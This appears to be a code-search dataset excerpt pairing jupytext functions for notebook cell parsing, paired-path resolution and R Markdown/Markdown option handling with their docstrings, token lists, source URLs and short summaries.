https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/cell_reader.py#L656-L670
train
Does this line start a new markdown cell? Then return the cell marker
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/cell_reader.py
SphinxGalleryScriptCellReader.find_cell_end
def find_cell_end(self, lines): """Return position of end of cell, and position of first line after cell, and whether there was an explicit end of cell marker""" if self.cell_type == 'markdown': # Empty cell "" or '' if len(self.markdown_marker) <= 2: ...
python
def find_cell_end(self, lines): """Return position of end of cell, and position of first line after cell, and whether there was an explicit end of cell marker""" if self.cell_type == 'markdown': # Empty cell "" or '' if len(self.markdown_marker) <= 2: ...
[ "def", "find_cell_end", "(", "self", ",", "lines", ")", ":", "if", "self", ".", "cell_type", "==", "'markdown'", ":", "# Empty cell \"\" or ''", "if", "len", "(", "self", ".", "markdown_marker", ")", "<=", "2", ":", "if", "len", "(", "lines", ")", "==", ...
Return position of end of cell, and position of first line after cell, and whether there was an explicit end of cell marker
[ "Return", "position", "of", "end", "of", "cell", "and", "position", "of", "first", "line", "after", "cell", "and", "whether", "there", "was", "an", "explicit", "end", "of", "cell", "marker" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/cell_reader.py#L681-L727
train
Return the position of the end of the cell and whether there was an explicit end of cell marker or not.
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/cell_reader.py
SphinxGalleryScriptCellReader.find_cell_content
def find_cell_content(self, lines): """Parse cell till its end and set content, lines_to_next_cell. Return the position of next cell start""" cell_end_marker, next_cell_start, explicit_eoc = self.find_cell_end(lines) # Metadata to dict cell_start = 0 if self.cell_type ==...
python
def find_cell_content(self, lines): """Parse cell till its end and set content, lines_to_next_cell. Return the position of next cell start""" cell_end_marker, next_cell_start, explicit_eoc = self.find_cell_end(lines) # Metadata to dict cell_start = 0 if self.cell_type ==...
[ "def", "find_cell_content", "(", "self", ",", "lines", ")", ":", "cell_end_marker", ",", "next_cell_start", ",", "explicit_eoc", "=", "self", ".", "find_cell_end", "(", "lines", ")", "# Metadata to dict", "cell_start", "=", "0", "if", "self", ".", "cell_type", ...
Parse cell till its end and set content, lines_to_next_cell. Return the position of next cell start
[ "Parse", "cell", "till", "its", "end", "and", "set", "content", "lines_to_next_cell", ".", "Return", "the", "position", "of", "next", "cell", "start" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/cell_reader.py#L729-L775
train
Parse the cell till its end and set content and lines_to_next_cell.
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/paired_paths.py
base_path
def base_path(main_path, fmt): """Given a path and options for a format (ext, suffix, prefix), return the corresponding base path""" if not fmt: return os.path.splitext(main_path)[0] fmt = long_form_one_format(fmt) fmt_ext = fmt['extension'] suffix = fmt.get('suffix') prefix = fmt.get('...
python
def base_path(main_path, fmt): """Given a path and options for a format (ext, suffix, prefix), return the corresponding base path""" if not fmt: return os.path.splitext(main_path)[0] fmt = long_form_one_format(fmt) fmt_ext = fmt['extension'] suffix = fmt.get('suffix') prefix = fmt.get('...
[ "def", "base_path", "(", "main_path", ",", "fmt", ")", ":", "if", "not", "fmt", ":", "return", "os", ".", "path", ".", "splitext", "(", "main_path", ")", "[", "0", "]", "fmt", "=", "long_form_one_format", "(", "fmt", ")", "fmt_ext", "=", "fmt", "[", ...
Given a path and options for a format (ext, suffix, prefix), return the corresponding base path
[ "Given", "a", "path", "and", "options", "for", "a", "format", "(", "ext", "suffix", "prefix", ")", "return", "the", "corresponding", "base", "path" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/paired_paths.py#L13-L58
train
Given a path and options for a format return the corresponding base path
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/paired_paths.py
full_path
def full_path(base, fmt): """Return the full path for the notebook, given the base path""" ext = fmt['extension'] suffix = fmt.get('suffix') prefix = fmt.get('prefix') full = base if prefix: prefix_dir, prefix_file_name = os.path.split(prefix) notebook_dir, notebook_file_name =...
python
def full_path(base, fmt): """Return the full path for the notebook, given the base path""" ext = fmt['extension'] suffix = fmt.get('suffix') prefix = fmt.get('prefix') full = base if prefix: prefix_dir, prefix_file_name = os.path.split(prefix) notebook_dir, notebook_file_name =...
[ "def", "full_path", "(", "base", ",", "fmt", ")", ":", "ext", "=", "fmt", "[", "'extension'", "]", "suffix", "=", "fmt", ".", "get", "(", "'suffix'", ")", "prefix", "=", "fmt", ".", "get", "(", "'prefix'", ")", "full", "=", "base", "if", "prefix", ...
Return the full path for the notebook, given the base path
[ "Return", "the", "full", "path", "for", "the", "notebook", "given", "the", "base", "path" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/paired_paths.py#L61-L94
train
Return the full path for the notebook given the base path and the format dictionary
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/paired_paths.py
find_base_path_and_format
def find_base_path_and_format(main_path, formats): """Return the base path and the format corresponding to the given path""" for fmt in formats: try: return base_path(main_path, fmt), fmt except InconsistentPath: continue raise InconsistentPath(u"Path '{}' matches no...
python
def find_base_path_and_format(main_path, formats): """Return the base path and the format corresponding to the given path""" for fmt in formats: try: return base_path(main_path, fmt), fmt except InconsistentPath: continue raise InconsistentPath(u"Path '{}' matches no...
[ "def", "find_base_path_and_format", "(", "main_path", ",", "formats", ")", ":", "for", "fmt", "in", "formats", ":", "try", ":", "return", "base_path", "(", "main_path", ",", "fmt", ")", ",", "fmt", "except", "InconsistentPath", ":", "continue", "raise", "Inc...
Return the base path and the format corresponding to the given path
[ "Return", "the", "base", "path", "and", "the", "format", "corresponding", "to", "the", "given", "path" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/paired_paths.py#L97-L108
train
Find the base path and the format corresponding to the given path
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/paired_paths.py
paired_paths
def paired_paths(main_path, fmt, formats): """Return the list of paired notebooks, given main path, and the list of formats""" if not formats: return [(main_path, {'extension': os.path.splitext(main_path)[1]})] formats = long_form_multiple_formats(formats) # Is there a format that matches the ...
python
def paired_paths(main_path, fmt, formats): """Return the list of paired notebooks, given main path, and the list of formats""" if not formats: return [(main_path, {'extension': os.path.splitext(main_path)[1]})] formats = long_form_multiple_formats(formats) # Is there a format that matches the ...
[ "def", "paired_paths", "(", "main_path", ",", "fmt", ",", "formats", ")", ":", "if", "not", "formats", ":", "return", "[", "(", "main_path", ",", "{", "'extension'", ":", "os", ".", "path", ".", "splitext", "(", "main_path", ")", "[", "1", "]", "}", ...
Return the list of paired notebooks, given main path, and the list of formats
[ "Return", "the", "list", "of", "paired", "notebooks", "given", "main", "path", "and", "the", "list", "of", "formats" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/paired_paths.py#L111-L131
train
Return the list of paired notebooks given main path and the list of formats
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/cell_metadata.py
metadata_to_rmd_options
def metadata_to_rmd_options(language, metadata): """ Convert language and metadata information to their rmd representation :param language: :param metadata: :return: """ options = (language or 'R').lower() if 'name' in metadata: options += ' ' + metadata['name'] + ',' del...
python
def metadata_to_rmd_options(language, metadata): """ Convert language and metadata information to their rmd representation :param language: :param metadata: :return: """ options = (language or 'R').lower() if 'name' in metadata: options += ' ' + metadata['name'] + ',' del...
[ "def", "metadata_to_rmd_options", "(", "language", ",", "metadata", ")", ":", "options", "=", "(", "language", "or", "'R'", ")", ".", "lower", "(", ")", "if", "'name'", "in", "metadata", ":", "options", "+=", "' '", "+", "metadata", "[", "'name'", "]", ...
Convert language and metadata information to their rmd representation :param language: :param metadata: :return:
[ "Convert", "language", "and", "metadata", "information", "to", "their", "rmd", "representation", ":", "param", "language", ":", ":", "param", "metadata", ":", ":", "return", ":" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/cell_metadata.py#L63-L95
train
Convert the metadata dictionary to their rmd representation.
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/cell_metadata.py
update_metadata_from_rmd_options
def update_metadata_from_rmd_options(name, value, metadata): """ Update metadata using the _BOOLEAN_OPTIONS_DICTIONARY mapping :param name: option name :param value: option value :param metadata: :return: """ for jupyter_option, rmd_option, rev in _BOOLEAN_OPTIONS_DICTIONARY: if ...
python
def update_metadata_from_rmd_options(name, value, metadata): """ Update metadata using the _BOOLEAN_OPTIONS_DICTIONARY mapping :param name: option name :param value: option value :param metadata: :return: """ for jupyter_option, rmd_option, rev in _BOOLEAN_OPTIONS_DICTIONARY: if ...
[ "def", "update_metadata_from_rmd_options", "(", "name", ",", "value", ",", "metadata", ")", ":", "for", "jupyter_option", ",", "rmd_option", ",", "rev", "in", "_BOOLEAN_OPTIONS_DICTIONARY", ":", "if", "name", "==", "rmd_option", ":", "try", ":", "metadata", "[",...
Update metadata using the _BOOLEAN_OPTIONS_DICTIONARY mapping :param name: option name :param value: option value :param metadata: :return:
[ "Update", "metadata", "using", "the", "_BOOLEAN_OPTIONS_DICTIONARY", "mapping", ":", "param", "name", ":", "option", "name", ":", "param", "value", ":", "option", "value", ":", "param", "metadata", ":", ":", "return", ":" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/cell_metadata.py#L98-L113
train
Update metadata based on the _BOOLEAN_OPTIONS_DICTIONARY mapping.
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/cell_metadata.py
parse_rmd_options
def parse_rmd_options(line): """ Given a R markdown option line, returns a list of pairs name,value :param line: :return: """ parsing_context = ParsingContext(line) result = [] prev_char = '' name = '' value = '' for char in ',' + line + ',': if parsing_context.in_...
python
def parse_rmd_options(line): """ Given a R markdown option line, returns a list of pairs name,value :param line: :return: """ parsing_context = ParsingContext(line) result = [] prev_char = '' name = '' value = '' for char in ',' + line + ',': if parsing_context.in_...
[ "def", "parse_rmd_options", "(", "line", ")", ":", "parsing_context", "=", "ParsingContext", "(", "line", ")", "result", "=", "[", "]", "prev_char", "=", "''", "name", "=", "''", "value", "=", "''", "for", "char", "in", "','", "+", "line", "+", "','", ...
Given a R markdown option line, returns a list of pairs name,value :param line: :return:
[ "Given", "a", "R", "markdown", "option", "line", "returns", "a", "list", "of", "pairs", "name", "value", ":", "param", "line", ":", ":", "return", ":" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/cell_metadata.py#L167-L210
train
Parses a R markdown option line into a list of pairs name value.
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/cell_metadata.py
rmd_options_to_metadata
def rmd_options_to_metadata(options): """ Parse rmd options and return a metadata dictionary :param options: :return: """ options = re.split(r'\s|,', options, 1) if len(options) == 1: language = options[0] chunk_options = [] else: language, others = options ...
python
def rmd_options_to_metadata(options): """ Parse rmd options and return a metadata dictionary :param options: :return: """ options = re.split(r'\s|,', options, 1) if len(options) == 1: language = options[0] chunk_options = [] else: language, others = options ...
[ "def", "rmd_options_to_metadata", "(", "options", ")", ":", "options", "=", "re", ".", "split", "(", "r'\\s|,'", ",", "options", ",", "1", ")", "if", "len", "(", "options", ")", "==", "1", ":", "language", "=", "options", "[", "0", "]", "chunk_options"...
Parse rmd options and return a metadata dictionary :param options: :return:
[ "Parse", "rmd", "options", "and", "return", "a", "metadata", "dictionary", ":", "param", "options", ":", ":", "return", ":" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/cell_metadata.py#L213-L251
train
Parse the options and return a metadata dictionary.
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/cell_metadata.py
metadata_to_md_options
def metadata_to_md_options(metadata): """Encode {'class':None, 'key':'value'} into 'class key="value"' """ return ' '.join(["{}={}".format(key, dumps(metadata[key])) if metadata[key] is not None else key for key in metadata])
python
def metadata_to_md_options(metadata): """Encode {'class':None, 'key':'value'} into 'class key="value"' """ return ' '.join(["{}={}".format(key, dumps(metadata[key])) if metadata[key] is not None else key for key in metadata])
[ "def", "metadata_to_md_options", "(", "metadata", ")", ":", "return", "' '", ".", "join", "(", "[", "\"{}={}\"", ".", "format", "(", "key", ",", "dumps", "(", "metadata", "[", "key", "]", ")", ")", "if", "metadata", "[", "key", "]", "is", "not", "Non...
Encode {'class':None, 'key':'value'} into 'class key="value"'
[ "Encode", "{", "class", ":", "None", "key", ":", "value", "}", "into", "class", "key", "=", "value" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/cell_metadata.py#L254-L258
train
Encode metadata into md options
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/cell_metadata.py
parse_md_code_options
def parse_md_code_options(options): """Parse 'python class key="value"' into [('python', None), ('class', None), ('key', 'value')]""" metadata = [] while options: name_and_value = re.split(r'[\s=]+', options, maxsplit=1) name = name_and_value[0] # Equal sign in between name and wha...
python
def parse_md_code_options(options): """Parse 'python class key="value"' into [('python', None), ('class', None), ('key', 'value')]""" metadata = [] while options: name_and_value = re.split(r'[\s=]+', options, maxsplit=1) name = name_and_value[0] # Equal sign in between name and wha...
[ "def", "parse_md_code_options", "(", "options", ")", ":", "metadata", "=", "[", "]", "while", "options", ":", "name_and_value", "=", "re", ".", "split", "(", "r'[\\s=]+'", ",", "options", ",", "maxsplit", "=", "1", ")", "name", "=", "name_and_value", "[", ...
Parse 'python class key="value"' into [('python', None), ('class', None), ('key', 'value')]
[ "Parse", "python", "class", "key", "=", "value", "into", "[", "(", "python", "None", ")", "(", "class", "None", ")", "(", "key", "value", ")", "]" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/cell_metadata.py#L261-L298
train
Parse the md code options into a list of tuples.
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/cell_metadata.py
md_options_to_metadata
def md_options_to_metadata(options): """Parse markdown options and return language and metadata""" metadata = parse_md_code_options(options) if metadata: language = metadata[0][0] for lang in _JUPYTER_LANGUAGES + ['julia', 'scheme', 'c++']: if language.lower() == lang.lower(): ...
python
def md_options_to_metadata(options): """Parse markdown options and return language and metadata""" metadata = parse_md_code_options(options) if metadata: language = metadata[0][0] for lang in _JUPYTER_LANGUAGES + ['julia', 'scheme', 'c++']: if language.lower() == lang.lower(): ...
[ "def", "md_options_to_metadata", "(", "options", ")", ":", "metadata", "=", "parse_md_code_options", "(", "options", ")", "if", "metadata", ":", "language", "=", "metadata", "[", "0", "]", "[", "0", "]", "for", "lang", "in", "_JUPYTER_LANGUAGES", "+", "[", ...
Parse markdown options and return language and metadata
[ "Parse", "markdown", "options", "and", "return", "language", "and", "metadata" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/cell_metadata.py#L301-L311
train
Parse markdown options and return language and metadata
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/cell_metadata.py
try_eval_metadata
def try_eval_metadata(metadata, name): """Evaluate given metadata to a python object, if possible""" value = metadata[name] if not isinstance(value, (str, unicode)): return if (value.startswith('"') and value.endswith('"')) or (value.startswith("'") and value.endswith("'")): if name in [...
python
def try_eval_metadata(metadata, name): """Evaluate given metadata to a python object, if possible""" value = metadata[name] if not isinstance(value, (str, unicode)): return if (value.startswith('"') and value.endswith('"')) or (value.startswith("'") and value.endswith("'")): if name in [...
[ "def", "try_eval_metadata", "(", "metadata", ",", "name", ")", ":", "value", "=", "metadata", "[", "name", "]", "if", "not", "isinstance", "(", "value", ",", "(", "str", ",", "unicode", ")", ")", ":", "return", "if", "(", "value", ".", "startswith", ...
Evaluate given metadata to a python object, if possible
[ "Evaluate", "given", "metadata", "to", "a", "python", "object", "if", "possible" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/cell_metadata.py#L314-L330
train
Evaluate given metadata to a python object if possible
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/cell_metadata.py
json_options_to_metadata
def json_options_to_metadata(options, add_brackets=True): """Read metadata from its json representation""" try: options = loads('{' + options + '}' if add_brackets else options) return options except ValueError: return {}
python
def json_options_to_metadata(options, add_brackets=True): """Read metadata from its json representation""" try: options = loads('{' + options + '}' if add_brackets else options) return options except ValueError: return {}
[ "def", "json_options_to_metadata", "(", "options", ",", "add_brackets", "=", "True", ")", ":", "try", ":", "options", "=", "loads", "(", "'{'", "+", "options", "+", "'}'", "if", "add_brackets", "else", "options", ")", "return", "options", "except", "ValueErr...
Read metadata from its json representation
[ "Read", "metadata", "from", "its", "json", "representation" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/cell_metadata.py#L333-L339
train
Read metadata from its json representation
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/cell_metadata.py
is_active
def is_active(ext, metadata): """Is the cell active for the given file extension?""" if metadata.get('run_control', {}).get('frozen') is True: return False if 'active' not in metadata: return True return ext.replace('.', '') in re.split('\\.|,', metadata['active'])
python
def is_active(ext, metadata): """Is the cell active for the given file extension?""" if metadata.get('run_control', {}).get('frozen') is True: return False if 'active' not in metadata: return True return ext.replace('.', '') in re.split('\\.|,', metadata['active'])
[ "def", "is_active", "(", "ext", ",", "metadata", ")", ":", "if", "metadata", ".", "get", "(", "'run_control'", ",", "{", "}", ")", ".", "get", "(", "'frozen'", ")", "is", "True", ":", "return", "False", "if", "'active'", "not", "in", "metadata", ":",...
Is the cell active for the given file extension?
[ "Is", "the", "cell", "active", "for", "the", "given", "file", "extension?" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/cell_metadata.py#L350-L356
train
Is the cell active for the given file extension?
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...